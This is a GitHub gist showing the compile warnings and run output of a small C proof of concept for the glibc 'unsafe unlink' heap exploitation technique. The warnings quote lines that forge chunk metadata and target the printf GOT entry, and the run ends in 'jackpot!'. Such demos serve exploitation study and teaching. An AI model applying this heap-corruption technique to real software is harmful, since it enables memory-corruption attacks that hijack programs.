Skip to content

Instantly share code, notes, and snippets.

@inaz2
Created October 13, 2016 01:54
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save inaz2/d2a7c91857276fb803933a58d800d429 to your computer and use it in GitHub Desktop.
Save inaz2/d2a7c91857276fb803933a58d800d429 to your computer and use it in GitHub Desktop.
$ gcc unsafe_unlink.c -o unsafe_unlink
unsafe_unlink.c: In function ‘main’:
unsafe_unlink.c:25:24: warning: assignment makes pointer from integer without a cast [enabled by default]
*(void **)(p+0x40) = 0x40;
^
unsafe_unlink.c:26:24: warning: assignment makes pointer from integer without a cast [enabled by default]
*(void **)(p+0x48) = 0x90;
^
unsafe_unlink.c:37:24: warning: assignment makes pointer from integer without a cast [enabled by default]
*(void **)(p+0x18) = 0x601028; /* printf@got */
^
$ ./unsafe_unlink
&p = 0x601060
p = 0x1a8a010
p1 = 0x1a8a060
p1->prev_size = (nil)
p1->size = 0x91
[+] modify p
p->fd->bk = 0x601060
p->bk->fd = 0x601060
p1->prev_size = 0x40
p1->size = 0x90
[+] p <- &p-0x18
p = 0x601048
[+] modify &p and overwrite p
jackpot!
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment